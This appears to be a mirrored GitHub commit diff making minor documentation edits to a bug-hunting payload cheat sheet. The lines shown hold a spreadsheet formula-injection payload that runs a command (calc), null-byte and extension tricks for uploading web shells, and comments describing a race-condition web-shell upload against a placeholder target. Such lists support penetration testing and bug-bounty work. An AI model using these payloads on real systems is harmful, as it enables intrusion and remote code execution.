mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 11:35:51 +00:00
Minor improvements to payload documentation and clarity
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
@@ -238,7 +238,7 @@ Review: +cmd|'/c calc'!A1
|
||||
|
||||
# Circular references
|
||||
=A1
|
||||
(in cell A1 itself, causes circular reference)
|
||||
# Note: When placed in cell A1 itself, this causes a circular reference error
|
||||
|
||||
# ============================
|
||||
# Remote File Inclusion
|
||||
|
||||
@@ -488,12 +488,16 @@ Upload to misconfigured alias/location
|
||||
shell.jsp%00.jpg
|
||||
shell.jspx
|
||||
|
||||
# ============================
|
||||
# RACE CONDITION FILE UPLOAD
|
||||
# ============================
|
||||
# RACE CONDITION FILE UPLOAD
|
||||
# ============================
|
||||
|
||||
# Upload file quickly and access before validation/deletion
|
||||
# Technique: Concurrent upload and access requests
|
||||
# Example: Upload shell.php and immediately request http://target.com/uploads/shell.php
|
||||
# Use tools like Burp Suite Turbo Intruder or custom scripts to send simultaneous requests
|
||||
|
||||
# ============================
|
||||
# FILE UPLOAD WITH SIZE BYPASS
|
||||
|
||||
Reference in New Issue
Block a user